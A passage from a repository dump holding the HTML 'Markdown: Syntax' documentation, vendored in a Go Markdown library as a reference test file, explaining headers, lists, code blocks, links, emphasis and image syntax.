of pre-formatted code, indent every line of\nthe block by 4 spaces or 1 tab. Just like with code spans, `&`, `<`,\nand `>` characters will be escaped automatically.\n\nMarkdown:\n\n    If you want your page to validate under XHTML 1.0 Strict,\n    you've got to put paragraph tags in your blockquotes:\n\n        <blockquote>\n            <p>For example.</p>\n        </blockquote>\n\nOutput:\n\n    <p>If you want your page to validate under XHTML 1.0 Strict,\n    you've got to put paragraph tags in your blockquotes:</p>\n    \n    <pre><code>&lt;blockquote&gt;\n        &lt;p&gt;For example.&lt;/p&gt;\n    &lt;/blockquote&gt;\n    </code></pre>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Syntax.html",
    "content": "<h1>Markdown: Syntax</h1>\n\n<ul id=\"ProjectSubmenu\">\n    <li><a href=\"/projects/markdown/\" title=\"Markdown Project Page\">Main</a></li>\n    <li><a href=\"/projects/markdown/basics\" title=\"Markdown Basics\">Basics</a></li>\n    <li><a class=\"selected\" title=\"Markdown Syntax Documentation\">Syntax</a></li>\n    <li><a href=\"/projects/markdown/license\" title=\"Pricing and License Information\">License</a></li>\n    <li><a href=\"/projects/markdown/dingus\" title=\"Online Markdown Web Form\">Dingus</a></li>\n</ul>\n\n<ul>\n<li><a href=\"#overview\">Overview</a>\n\n<ul>\n<li><a href=\"#philosophy\">Philosophy</a></li>\n<li><a href=\"#html\">Inline HTML</a></li>\n<li><a href=\"#autoescape\">Automatic Escaping for Special Characters</a></li>\n</ul></li>\n<li><a href=\"#block\">Block Elements</a>\n\n<ul>\n<li><a href=\"#p\">Paragraphs and Line Breaks</a></li>\n<li><a href=\"#header\">Headers</a></li>\n<li><a href=\"#blockquote\">Blockquotes</a></li>\n<li><a href=\"#list\">Lists</a></li>\n<li><a href=\"#precode\">Code Blocks</a></li>\n<li><a href=\"#hr\">Horizontal Rules</a></li>\n</ul></li>\n<li><a href=\"#span\">Span Elements</a>\n\n<ul>\n<li><a href=\"#link\">Links</a></li>\n<li><a href=\"#em\">Emphasis</a></li>\n<li><a href=\"#code\">Code</a></li>\n<li><a href=\"#img\">Images</a></li>\n</ul></li>\n<li><a href=\"#misc\">Miscellaneous</a>\n\n<ul>\n<li><a href=\"#backslash\">Backslash Escapes</a></li>\n<li><a href=\"#autolink\">Automatic Links</a></li>\n</ul></li>\n</ul>\n\n<p><strong>Note:</strong> This document is itself written using Markdown; you\ncan <a href=\"/projects/markdown/syntax.text\">see the source for it by adding '.text' to the URL</a>.</p>\n\n<hr>\n\n<h2 id=\"overview\">Overview</h2>\n\n<h3 id=\"philosophy\">Philosophy</h3>\n\n<p>Markdown is intended to be as easy-to-read and easy-to-write as is feasible.</p>\n\n<p>Readability, however, is emphasized above all else. A Markdown-formatted\ndocument should be publishable as-is, as plain text, without looking\nlike it's been marked up with tags or formatting instructions. While\nMarkdown's syntax has been influenced by several existing text-to-HTML\nfilters -- including <a href=\"http://docutils.sourceforge.net/mirror/setext.html\">Setext</a>, <a href=\"http://www.aaronsw.com/2002/atx/\">atx</a>, <a href=\"http://textism.com/tools/textile/\">Textile</a>, <a href=\"http://docutils.sourceforge.net/rst.html\">reStructuredText</a>,\n<a href=\"http://www.triptico.com/software/grutatxt.html\">Grutatext</a>, and <a href=\"http://ettext.taint.org/doc/\">EtText</a> -- the single biggest source of\ninspiration for Markdown's syntax is the format of plain text email.</p>\n\n<p>To this end, Markdown's syntax is comprised entirely of punctuation\ncharacters, which punctuation characters have been carefully chosen so\nas to look like what they mean. E.g., asterisks around a word actually\nlook like *emphasis*. Markdown lists look like, well, lists. Even\nblockquotes look like quoted passages of text, assuming you've ever\nused email.</p>\n\n<h3 id=\"html\">Inline HTML</h3>\n\n<p>Markdown's syntax is intended for one purpose: to be used as a\nformat for <em>writing</em> for the web.</p>\n\n<p>Markdown is not a replacement for HTML, or even close to it. Its\nsyntax is very small, corresponding only to a very small subset of\nHTML tags. The idea is <em>not</em> to create a syntax that makes it easier\nto insert HTML tags. In my opinion, HTML tags are already easy to\ninsert. The idea for Markdown is to make it easy to read, write, and\nedit prose. HTML is a <em>publishing</em> format; Markdown is a <em>writing</em>\nformat. Thus, Markdown's formatting syntax only addresses issues that\ncan be conveyed in plain text.</p>\n\n<p>For any markup that is not covered by Markdown's syntax, you simply\nuse HTML itself. There's no need to preface it or delimit it to\nindicate that you're switching from Markdown to HTML; you just use\nthe tags.</p>\n\n<p>The only restrictions are that block-level HTML elements -- e.g. <code>&lt;div&gt;</code>,\n<code>&lt;table&gt;</code>, <code>&lt;pre&gt;</code>, <code>&lt;p&gt;</code>, etc. -- must be separated from surrounding\ncontent by blank lines, and the start and end tags of the block should\nnot be indented with tabs or spaces. Markdown is smart enough not\nto add extra (unwanted) <code>&lt;p&gt;</code> tags around HTML block-level tags.</p>\n\n<p>For example, to add an HTML table to a Markdown article:</p>\n\n<pre><code>This is a regular paragraph.\n\n&lt;table&gt;\n    &lt;tr&gt;\n        &lt;td&gt;Foo&lt;/td&gt;\n    &lt;/tr&gt;\n&lt;/table&gt;\n\nThis is another regular paragraph.\n</code></pre>\n\n<p>Note that Markdown formatting syntax is not processed within block-level\nHTML tags. E.g., you can't use Markdown-style <code>*emphasis*</code> inside an\nHTML block.</p>\n\n<p>Span-level HTML tags -- e.g. <code>&lt;span&gt;</code>, <code>&lt;cite&gt;</code>, or <code>&lt;del&gt;</code> -- can be\nused anywhere in a Markdown paragraph, list item, or header. If you\nwant, you can even use HTML tags instead of Markdown formatting; e.g. if\nyou'd prefer to use HTML <code>&lt;a&gt;</code> or <code>&lt;img&gt;</code> tags instead of Markdown's\nlink or image syntax, go right ahead.</p>\n\n<p>Unlike block-level HTML tags, Markdown syntax <em>is</em> processed within\nspan-level tags.</p>\n\n<h3 id=\"autoescape\">Automatic Escaping for Special Characters</h3>\n\n<p>In HTML, there are two characters that demand special treatment: <code>&lt;</code>\nand <code>&amp;</code>. Left angle brackets are used to start tags; ampersands are\nused to denote HTML entities. If you want to use them as literal\ncharacters, you must escape them as entities, e.g. <code>&amp;lt;</code>, and\n<code>&amp;amp;</code>.</p>\n\n<p>Ampersands in particular are bedeviling for web writers. If you want to\nwrite about 'AT&amp;T', you need to write '<code>AT&amp;amp;T</code>'. You even need to\nescape ampersands within URLs. Thus, if you want to link to:</p>\n\n<pre><code>http://images.google.com/images?num=30&amp;q=larry+bird\n</code></pre>\n\n<p>you need to encode the URL as:</p>\n\n<pre><code>http://images.google.com/images?num=30&amp;amp;q=larry+bird\n</code></pre>\n\n<p>in your anchor tag <code>href</code> attribute. Needless to say, this is easy to\nforget, and is probably the single most common source of HTML validation\nerrors in otherwise well-marked-up web sites.</p>\n\n<p>Markdown allows you to use these characters naturally, taking care of\nall the necessary escaping for you. If you use an ampersand as part of\nan HTML entity, it remains unchanged; otherwise it will be translated\ninto <code>&amp;amp;</code>.</p>\n\n<p>So, if you want to include a copyright symbol in your article, you can write:</p>\n\n<pre><code>&amp;copy;\n</code></pre>\n\n<p>and Markdown will leave it alone. But if you write:</p>\n\n<pre><code>AT&amp;T\n</code></pre>\n\n<p>Markdown will translate it to:</p>\n\n<pre><code>AT&amp;amp;T\n</code></pre>\n\n<p>Similarly, because Markdown supports <a href=\"#html\">inline HTML</a>, if you use\nangle brackets as delimiters for HTML tags, Markdown will treat them as\nsuch. But if you write:</p>\n\n<pre><code>4 &lt; 5\n</code></pre>\n\n<p>Markdown will translate it to:</p>\n\n<pre><code>4 &amp;lt; 5\n</code></pre>\n\n<p>However, inside Markdown code spans and blocks, angle brackets and\nampersands are <em>always</em> encoded automatically. This makes it easy to use\nMarkdown to write about HTML code. (As opposed to raw HTML, which is a\nterrible format for writing about HTML syntax, because every single <code>&lt;</code>\nand <code>&amp;</code> in your example code needs to be escaped.)</p>\n\n<hr>\n\n<h2 id=\"block\">Block Elements</h2>\n\n<h3 id=\"p\">Paragraphs and Line Breaks</h3>\n\n<p>A paragraph is simply one or more consecutive lines of text, separated\nby one or more blank lines. (A blank line is any line that looks like a\nblank line -- a line containing nothing but spaces or tabs is considered\nblank.) Normal paragraphs should not be intended with spaces or tabs.</p>\n\n<p>The implication of the &quot;one or more consecutive lines of text&quot; rule is\nthat Markdown supports &quot;hard-wrapped&quot; text paragraphs. This differs\nsignificantly from most other text-to-HTML formatters (including Movable\nType's &quot;Convert Line Breaks&quot; option) which translate every line break\ncharacter in a paragraph into a <code>&lt;br /&gt;</code> tag.</p>\n\n<p>When you <em>do</em> want to insert a <code>&lt;br /&gt;</code> break tag using Markdown, you\nend a line with two or more spaces, then type return.</p>\n\n<p>Yes, this takes a tad more effort to create a <code>&lt;br /&gt;</code>, but a simplistic\n&quot;every line break is a <code>&lt;br /&gt;</code>&quot; rule wouldn't work for Markdown.\nMarkdown's email-style <a href=\"#blockquote\">blockquoting</a> and multi-paragraph <a href=\"#list\">list items</a>\nwork best -- and look better -- when you format them with hard breaks.</p>\n\n<h3 id=\"header\">Headers</h3>\n\n<p>Markdown supports two styles of headers, <a href=\"http://docutils.sourceforge.net/mirror/setext.html\">Setext</a> and <a href=\"http://www.aaronsw.com/2002/atx/\">atx</a>.</p>\n\n<p>Setext-style headers are &quot;underlined&quot; using equal signs (for first-level\nheaders) and dashes (for second-level headers). For example:</p>\n\n<pre><code>This is an H1\n=============\n\nThis is an H2\n-------------\n</code></pre>\n\n<p>Any number of underlining <code>=</code>'s or <code>-</code>'s will work.</p>\n\n<p>Atx-style headers use 1-6 hash characters at the start of the line,\ncorresponding to header levels 1-6. For example:</p>\n\n<pre><code># This is an H1\n\n## This is an H2\n\n###### This is an H6\n</code></pre>\n\n<p>Optionally, you may &quot;close&quot; atx-style headers. This is purely\ncosmetic -- you can use this if you think it looks better. The\nclosing hashes don't even need to match the number of hashes\nused to open the header. (The number of opening hashes\ndetermines the header level.) :</p>\n\n<pre><code># This is an H1 #\n\n## This is an H2 ##\n\n### This is an H3 ######\n</code></pre>\n\n<h3 id=\"blockquote\">Blockquotes</h3>\n\n<p>Markdown uses email-style <code>&gt;</code> characters for blockquoting. If you're\nfamiliar with quoting passages of text in an email message, then you\nknow how to create a blockquote in Markdown. It looks best if you hard\nwrap the text and put a <code>&gt;</code> before every line:</p>\n\n<pre><code>&gt; This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,\n&gt; consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.\n&gt; Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.\n&gt; \n&gt; Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse\n&gt; id sem consectetuer libero luctus adipiscing.\n</code></pre>\n\n<p>Markdown allows you to be lazy and only put the <code>&gt;</code> before the first\nline of a hard-wrapped paragraph:</p>\n\n<pre><code>&gt; This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,\nconsectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.\nVestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.\n\n&gt; Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse\nid sem consectetuer libero luctus adipiscing.\n</code></pre>\n\n<p>Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by\nadding additional levels of <code>&gt;</code>:</p>\n\n<pre><code>&gt; This is the first level of quoting.\n&gt;\n&gt; &gt; This is nested blockquote.\n&gt;\n&gt; Back to the first level.\n</code></pre>\n\n<p>Blockquotes can contain other Markdown elements, including headers, lists,\nand code blocks:</p>\n\n<pre><code>&gt; ## This is a header.\n&gt; \n&gt; 1.   This is the first list item.\n&gt; 2.   This is the second list item.\n&gt; \n&gt; Here's some example code:\n&gt; \n&gt;     return shell_exec(&quot;echo $input | $markdown_script&quot;);\n</code></pre>\n\n<p>Any decent text editor should make email-style quoting easy. For\nexample, with BBEdit, you can make a selection and choose Increase\nQuote Level from the Text menu.</p>\n\n<h3 id=\"list\">Lists</h3>\n\n<p>Markdown supports ordered (numbered) and unordered (bulleted) lists.</p>\n\n<p>Unordered lists use asterisks, pluses, and hyphens -- interchangably\n-- as list markers:</p>\n\n<pre><code>*   Red\n*   Green\n*   Blue\n</code></pre>\n\n<p>is equivalent to:</p>\n\n<pre><code>+   Red\n+   Green\n+   Blue\n</code></pre>\n\n<p>and:</p>\n\n<pre><code>-   Red\n-   Green\n-   Blue\n</code></pre>\n\n<p>Ordered lists use numbers followed by periods:</p>\n\n<pre><code>1.  Bird\n2.  McHale\n3.  Parish\n</code></pre>\n\n<p>It's important to note that the actual numbers you use to mark the\nlist have no effect on the HTML output Markdown produces. The HTML\nMarkdown produces from the above list is:</p>\n\n<pre><code>&lt;ol&gt;\n&lt;li&gt;Bird&lt;/li&gt;\n&lt;li&gt;McHale&lt;/li&gt;\n&lt;li&gt;Parish&lt;/li&gt;\n&lt;/ol&gt;\n</code></pre>\n\n<p>If you instead wrote the list in Markdown like this:</p>\n\n<pre><code>1.  Bird\n1.  McHale\n1.  Parish\n</code></pre>\n\n<p>or even:</p>\n\n<pre><code>3. Bird\n1. McHale\n8. Parish\n</code></pre>\n\n<p>you'd get the exact same HTML output. The point is, if you want to,\nyou can use ordinal numbers in your ordered Markdown lists, so that\nthe numbers in your source match the numbers in your published HTML.\nBut if you want to be lazy, you don't have to.</p>\n\n<p>If you do use lazy list numbering, however, you should still start the\nlist with the number 1. At some point in the future, Markdown may support\nstarting ordered lists at an arbitrary number.</p>\n\n<p>List markers typically start at the left margin, but may be indented by\nup to three spaces. List markers must be followed by one or more spaces\nor a tab.</p>\n\n<p>To make lists look nice, you can wrap items with hanging indents:</p>\n\n<pre><code>*   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.\n    Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,\n    viverra nec, fringilla in, laoreet vitae, risus.\n*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.\n    Suspendisse id sem consectetuer libero luctus adipiscing.\n</code></pre>\n\n<p>But if you want to be lazy, you don't have to:</p>\n\n<pre><code>*   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.\nAliquam hendrerit mi posuere lectus. Vestibulum enim wisi,\nviverra nec, fringilla in, laoreet vitae, risus.\n*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.\nSuspendisse id sem consectetuer libero luctus adipiscing.\n</code></pre>\n\n<p>If list items are separated by blank lines, Markdown will wrap the\nitems in <code>&lt;p&gt;</code> tags in the HTML output. For example, this input:</p>\n\n<pre><code>*   Bird\n*   Magic\n</code></pre>\n\n<p>will turn into:</p>\n\n<pre><code>&lt;ul&gt;\n&lt;li&gt;Bird&lt;/li&gt;\n&lt;li&gt;Magic&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>But this:</p>\n\n<pre><code>*   Bird\n\n*   Magic\n</code></pre>\n\n<p>will turn into:</p>\n\n<pre><code>&lt;ul&gt;\n&lt;li&gt;&lt;p&gt;Bird&lt;/p&gt;&lt;/li&gt;\n&lt;li&gt;&lt;p&gt;Magic&lt;/p&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>List items may consist of multiple paragraphs. Each subsequent\nparagraph in a list item must be intended by either 4 spaces\nor one tab:</p>\n\n<pre><code>1.  This is a list item with two paragraphs. Lorem ipsum dolor\n    sit amet, consectetuer adipiscing elit. Aliquam hendrerit\n    mi posuere lectus.\n\n    Vestibulum enim wisi, viverra nec, fringilla in, laoreet\n    vitae, risus. Donec sit amet nisl. Aliquam semper ipsum\n    sit amet velit.\n\n2.  Suspendisse id sem consectetuer libero luctus adipiscing.\n</code></pre>\n\n<p>It looks nice if you indent every line of the subsequent\nparagraphs, but here again, Markdown will allow you to be\nlazy:</p>\n\n<pre><code>*   This is a list item with two paragraphs.\n\n    This is the second paragraph in the list item. You're\nonly required to indent the first line. Lorem ipsum dolor\nsit amet, consectetuer adipiscing elit.\n\n*   Another item in the same list.\n</code></pre>\n\n<p>To put a blockquote within a list item, the blockquote's <code>&gt;</code>\ndelimiters need to be indented:</p>\n\n<pre><code>*   A list item with a blockquote:\n\n    &gt; This is a blockquote\n    &gt; inside a list item.\n</code></pre>\n\n<p>To put a code block within a list item, the code block needs\nto be indented <em>twice</em> -- 8 spaces or two tabs:</p>\n\n<pre><code>*   A list item with a code block:\n\n        &lt;code goes here&gt;\n</code></pre>\n\n<p>It's worth noting that it's possible to trigger an ordered list by\naccident, by writing something like this:</p>\n\n<pre><code>1986. What a great season.\n</code></pre>\n\n<p>In other words, a <em>number-period-space</em> sequence at the beginning of a\nline. To avoid this, you can backslash-escape the period:</p>\n\n<pre><code>1986\\. What a great season.\n</code></pre>\n\n<h3 id=\"precode\">Code Blocks</h3>\n\n<p>Pre-formatted code blocks are used for writing about programming or\nmarkup source code. Rather than forming normal paragraphs, the lines\nof a code block are interpreted literally. Markdown wraps a code block\nin both <code>&lt;pre&gt;</code> and <code>&lt;code&gt;</code> tags.</p>\n\n<p>To produce a code block in Markdown, simply indent every line of the\nblock by at least 4 spaces or 1 tab. For example, given this input:</p>\n\n<pre><code>This is a normal paragraph:\n\n    This is a code block.\n</code></pre>\n\n<p>Markdown will generate:</p>\n\n<pre><code>&lt;p&gt;This is a normal paragraph:&lt;/p&gt;\n\n&lt;pre&gt;&lt;code&gt;This is a code block.\n&lt;/code&gt;&lt;/pre&gt;\n</code></pre>\n\n<p>One level of indentation -- 4 spaces or 1 tab -- is removed from each\nline of the code block. For example, this:</p>\n\n<pre><code>Here is an example of AppleScript:\n\n    tell application &quot;Foo&quot;\n        beep\n    end tell\n</code></pre>\n\n<p>will turn into:</p>\n\n<pre><code>&lt;p&gt;Here is an example of AppleScript:&lt;/p&gt;\n\n&lt;pre&gt;&lt;code&gt;tell application &quot;Foo&quot;\n    beep\nend tell\n&lt;/code&gt;&lt;/pre&gt;\n</code></pre>\n\n<p>A code block continues until it reaches a line that is not indented\n(or the end of the article).</p>\n\n<p>Within a code block, ampersands (<code>&amp;</code>) and angle brackets (<code>&lt;</code> and <code>&gt;</code>)\nare automatically converted into HTML entities. This makes it very\neasy to include example HTML source code using Markdown -- just paste\nit and indent it, and Markdown will handle the hassle of encoding the\nampersands and angle brackets. For example, this:</p>\n\n<pre><code>    &lt;div class=&quot;footer&quot;&gt;\n        &amp;copy; 2004 Foo Corporation\n    &lt;/div&gt;\n</code></pre>\n\n<p>will turn into:</p>\n\n<pre><code>&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;footer&quot;&amp;gt;\n    &amp;amp;copy; 2004 Foo Corporation\n&amp;lt;/div&amp;gt;\n&lt;/code&gt;&lt;/pre&gt;\n</code></pre>\n\n<p>Regular Markdown syntax is not processed within code blocks. E.g.,\nasterisks are just literal asterisks within a code block. This means\nit's also easy to use Markdown to write about Markdown's own syntax.</p>\n\n<h3 id=\"hr\">Horizontal Rules</h3>\n\n<p>You can produce a horizontal rule tag (<code>&lt;hr /&gt;</code>) by placing three or\nmore hyphens, asterisks, or underscores on a line by themselves. If you\nwish, you may use spaces between the hyphens or asterisks. Each of the\nfollowing lines will produce a horizontal rule:</p>\n\n<pre><code>* * *\n\n***\n\n*****\n\n- - -\n\n---------------------------------------\n\n_ _ _\n</code></pre>\n\n<hr>\n\n<h2 id=\"span\">Span Elements</h2>\n\n<h3 id=\"link\">Links</h3>\n\n<p>Markdown supports two style of links: <em>inline</em> and <em>reference</em>.</p>\n\n<p>In both styles, the link text is delimited by [square brackets].</p>\n\n<p>To create an inline link, use a set of regular parentheses immediately\nafter the link text's closing square bracket. Inside the parentheses,\nput the URL where you want the link to point, along with an <em>optional</em>\ntitle for the link, surrounded in quotes. For example:</p>\n\n<pre><code>This is [an example](http://example.com/ &quot;Title&quot;) inline link.\n\n[This link](http://example.net/) has no title attribute.\n</code></pre>\n\n<p>Will produce:</p>\n\n<pre><code>&lt;p&gt;This is &lt;a href=&quot;http://example.com/&quot; title=&quot;Title&quot;&gt;\nan example&lt;/a&gt; inline link.&lt;/p&gt;\n\n&lt;p&gt;&lt;a href=&quot;http://example.net/&quot;&gt;This link&lt;/a&gt; has no\ntitle attribute.&lt;/p&gt;\n</code></pre>\n\n<p>If you're referring to a local resource on the same server, you can\nuse relative paths:</p>\n\n<pre><code>See my [About](/about/) page for details.\n</code></pre>\n\n<p>Reference-style links use a second set of square brackets, inside\nwhich you place a label of your choosing to identify the link:</p>\n\n<pre><code>This is [an example][id] reference-style link.\n</code></pre>\n\n<p>You can optionally use a space to separate the sets of brackets:</p>\n\n<pre><code>This is [an example] [id] reference-style link.\n</code></pre>\n\n<p>Then, anywhere in the document, you define your link label like this,\non a line by itself:</p>\n\n<pre><code>[id]: http://example.com/  &quot;Optional Title Here&quot;\n</code></pre>\n\n<p>That is:</p>\n\n<ul>\n<li>Square brackets containing the link identifier (optionally\nindented from the left margin using up to three spaces);</li>\n<li>followed by a colon;</li>\n<li>followed by one or more spaces (or tabs);</li>\n<li>followed by the URL for the link;</li>\n<li>optionally followed by a title attribute for the link, enclosed\nin double or single quotes.</li>\n</ul>\n\n<p>The link URL may, optionally, be surrounded by angle brackets:</p>\n\n<pre><code>[id]: &lt;http://example.com/&gt;  &quot;Optional Title Here&quot;\n</code></pre>\n\n<p>You can put the title attribute on the next line and use extra spaces\nor tabs for padding, which tends to look better with longer URLs:</p>\n\n<pre><code>[id]: http://example.com/longish/path/to/resource/here\n    &quot;Optional Title Here&quot;\n</code></pre>\n\n<p>Link definitions are only used for creating links during Markdown\nprocessing, and are stripped from your document in the HTML output.</p>\n\n<p>Link definition names may constist of letters, numbers, spaces, and punctuation -- but they are <em>not</em> case sensitive. E.g. these two links:</p>\n\n<pre><code>[link text][a]\n[link text][A]\n</code></pre>\n\n<p>are equivalent.</p>\n\n<p>The <em>implicit link name</em> shortcut allows you to omit the name of the\nlink, in which case the link text itself is used as the name.\nJust use an empty set of square brackets -- e.g., to link the word\n&quot;Google&quot; to the google.com web site, you could simply write:</p>\n\n<pre><code>[Google][]\n</code></pre>\n\n<p>And then define the link:</p>\n\n<pre><code>[Google]: http://google.com/\n</code></pre>\n\n<p>Because link names may contain spaces, this shortcut even works for\nmultiple words in the link text:</p>\n\n<pre><code>Visit [Daring Fireball][] for more information.\n</code></pre>\n\n<p>And then define the link:</p>\n\n<pre><code>[Daring Fireball]: http://daringfireball.net/\n</code></pre>\n\n<p>Link definitions can be placed anywhere in your Markdown document. I\ntend to put them immediately after each paragraph in which they're\nused, but if you want, you can put them all at the end of your\ndocument, sort of like footnotes.</p>\n\n<p>Here's an example of reference links in action:</p>\n\n<pre><code>I get 10 times more traffic from [Google] [1] than from\n[Yahoo] [2] or [MSN] [3].\n\n  [1]: http://google.com/        &quot;Google&quot;\n  [2]: http://search.yahoo.com/  &quot;Yahoo Search&quot;\n  [3]: http://search.msn.com/    &quot;MSN Search&quot;\n</code></pre>\n\n<p>Using the implicit link name shortcut, you could instead write:</p>\n\n<pre><code>I get 10 times more traffic from [Google][] than from\n[Yahoo][] or [MSN][].\n\n  [google]: http://google.com/        &quot;Google&quot;\n  [yahoo]:  http://search.yahoo.com/  &quot;Yahoo Search&quot;\n  [msn]:    http://search.msn.com/    &quot;MSN Search&quot;\n</code></pre>\n\n<p>Both of the above examples will produce the following HTML output:</p>\n\n<pre><code>&lt;p&gt;I get 10 times more traffic from &lt;a href=&quot;http://google.com/&quot;\ntitle=&quot;Google&quot;&gt;Google&lt;/a&gt; than from\n&lt;a href=&quot;http://search.yahoo.com/&quot; title=&quot;Yahoo Search&quot;&gt;Yahoo&lt;/a&gt;\nor &lt;a href=&quot;http://search.msn.com/&quot; title=&quot;MSN Search&quot;&gt;MSN&lt;/a&gt;.&lt;/p&gt;\n</code></pre>\n\n<p>For comparison, here is the same paragraph written using\nMarkdown's inline link style:</p>\n\n<pre><code>I get 10 times more traffic from [Google](http://google.com/ &quot;Google&quot;)\nthan from [Yahoo](http://search.yahoo.com/ &quot;Yahoo Search&quot;) or\n[MSN](http://search.msn.com/ &quot;MSN Search&quot;).\n</code></pre>\n\n<p>The point of reference-style links is not that they're easier to\nwrite. The point is that with reference-style links, your document\nsource is vastly more readable. Compare the above examples: using\nreference-style links, the paragraph itself is only 81 characters\nlong; with inline-style links, it's 176 characters; and as raw HTML,\nit's 234 characters. In the raw HTML, there's more markup than there\nis text.</p>\n\n<p>With Markdown's reference-style links, a source document much more\nclosely resembles the final output, as rendered in a browser. By\nallowing you to move the markup-related metadata out of the paragraph,\nyou can add links without interrupting the narrative flow of your\nprose.</p>\n\n<h3 id=\"em\">Emphasis</h3>\n\n<p>Markdown treats asterisks (<code>*</code>) and underscores (<code>_</code>) as indicators of\nemphasis. Text wrapped with one <code>*</code> or <code>_</code> will be wrapped with an\nHTML <code>&lt;em&gt;</code> tag; double <code>*</code>'s or <code>_</code>'s will be wrapped with an HTML\n<code>&lt;strong&gt;</code> tag. E.g., this input:</p>\n\n<pre><code>*single asterisks*\n\n_single underscores_\n\n**double asterisks**\n\n__double underscores__\n</code></pre>\n\n<p>will produce:</p>\n\n<pre><code>&lt;em&gt;single asterisks&lt;/em&gt;\n\n&lt;em&gt;single underscores&lt;/em&gt;\n\n&lt;strong&gt;double asterisks&lt;/strong&gt;\n\n&lt;strong&gt;double underscores&lt;/strong&gt;\n</code></pre>\n\n<p>You can use whichever style you prefer; the lone restriction is that\nthe same character must be used to open and close an emphasis span.</p>\n\n<p>Emphasis can be used in the middle of a word:</p>\n\n<pre><code>un*fucking*believable\n</code></pre>\n\n<p>But if you surround an <code>*</code> or <code>_</code> with spaces, it'll be treated as a\nliteral asterisk or underscore.</p>\n\n<p>To produce a literal asterisk or underscore at a position where it\nwould otherwise be used as an emphasis delimiter, you can backslash\nescape it:</p>\n\n<pre><code>\\*this text is surrounded by literal asterisks\\*\n</code></pre>\n\n<h3 id=\"code\">Code</h3>\n\n<p>To indicate a span of code, wrap it with backtick quotes (<code>`</code>).\nUnlike a pre-formatted code block, a code span indicates code within a\nnormal paragraph. For example:</p>\n\n<pre><code>Use the `printf()` function.\n</code></pre>\n\n<p>will produce:</p>\n\n<pre><code>&lt;p&gt;Use the &lt;code&gt;printf()&lt;/code&gt; function.&lt;/p&gt;\n</code></pre>\n\n<p>To include a literal backtick character within a code span, you can use\nmultiple backticks as the opening and closing delimiters:</p>\n\n<pre><code>``There is a literal backtick (`) here.``\n</code></pre>\n\n<p>which will produce this:</p>\n\n<pre><code>&lt;p&gt;&lt;code&gt;There is a literal backtick (`) here.&lt;/code&gt;&lt;/p&gt;\n</code></pre>\n\n<p>The backtick delimiters surrounding a code span may include spaces --\none after the opening, one before the closing. This allows you to place\nliteral backtick characters at the beginning or end of a code span:</p>\n\n<pre><code>A single backtick in a code span: `` ` ``\n\nA backtick-delimited string in a code span: `` `foo` ``\n</code></pre>\n\n<p>will produce:</p>\n\n<pre><code>&lt;p&gt;A single backtick in a code span: &lt;code&gt;`&lt;/code&gt;&lt;/p&gt;\n\n&lt;p&gt;A backtick-delimited string in a code span: &lt;code&gt;`foo`&lt;/code&gt;&lt;/p&gt;\n</code></pre>\n\n<p>With a code span, ampersands and angle brackets are encoded as HTML\nentities automatically, which makes it easy to include example HTML\ntags. Markdown will turn this:</p>\n\n<pre><code>Please don't use any `&lt;blink&gt;` tags.\n</code></pre>\n\n<p>into:</p>\n\n<pre><code>&lt;p&gt;Please don't use any &lt;code&gt;&amp;lt;blink&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;\n</code></pre>\n\n<p>You can write this:</p>\n\n<pre><code>`&amp;#8212;` is the decimal-encoded equivalent of `&amp;mdash;`.\n</code></pre>\n\n<p>to produce:</p>\n\n<pre><code>&lt;p&gt;&lt;code&gt;&amp;amp;#8212;&lt;/code&gt; is the decimal-encoded\nequivalent of &lt;code&gt;&amp;amp;mdash;&lt;/code&gt;.&lt;/p&gt;\n</code></pre>\n\n<h3 id=\"img\">Images</h3>\n\n<p>Admittedly, it's fairly difficult to devise a &quot;natural&quot; syntax for\nplacing images into a plain text document format.</p>\n\n<p>Markdown uses an image syntax that is intended to resemble the syntax\nfor links, allowing for two styles: <em>inline</em> and <em>reference</em>.</p>\n\n<p>Inline image syntax looks like this:</p>\n\n<pre><code>![Alt text](/path/to/img.jpg)\n\n![Alt text](/path/to/img.jpg &quot;Optional title&quot;)\n</code></pre>\n\n<p>That is:</p>\n\n<ul>\n<li>An exclamation mark: <code>!</code>;</li>\n<li>followed by a set of square brackets, containing the <code>alt</code>\nattribute text for the image;</li>\n<li>followed by a set of parentheses, containing the URL or path to\nthe image, and an optional <code>title</code> attribute enclosed in double\nor single quotes.</li>\n</ul>\n\n<p>Reference-style image syntax looks like this:</p>\n\n<pre><code>![Alt text][id]\n</code></pre>\n\n<p>Where &quot;id&quot; is the name of a defined image reference. Image references\nare defined using syntax identical to link references:</p>\n\n<pre><code>[id]: url/to/image  &quot;Optional title attribute&quot;\n</code></pre>\n\n<p>As of this writing, Markdown has no syntax for specifying the\ndimensions of an image; if this is important to you, you can simply\nuse regular HTML <code>&lt;img&gt;</code> tags.</p>\n\n<hr>\n\n<h2 id=\"misc\">Miscellaneous</h2>\n\n<h3 id=\"autolink\">Automatic Links</h3>\n\n<p>Markdown supports a shortcut style for creating &quot;automatic&quot; links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this:</p>\n\n<pre><code>&lt;http://example.com/&gt;\n</code></pre>\n\n<p>Markdown will turn this into:</p>\n\n<pre><code>&lt;a href=&quot;http://example.com/&quot;&gt;http://example.com/&lt;/a&gt;\n</code></pre>\n\n<p>Automatic links for email addresses work similarly, except that\nMarkdown will also perform a bit of randomized decimal and hex\nentity-encoding to help obscure your address from address-harvesting\nspambots. For example, Markdown will turn 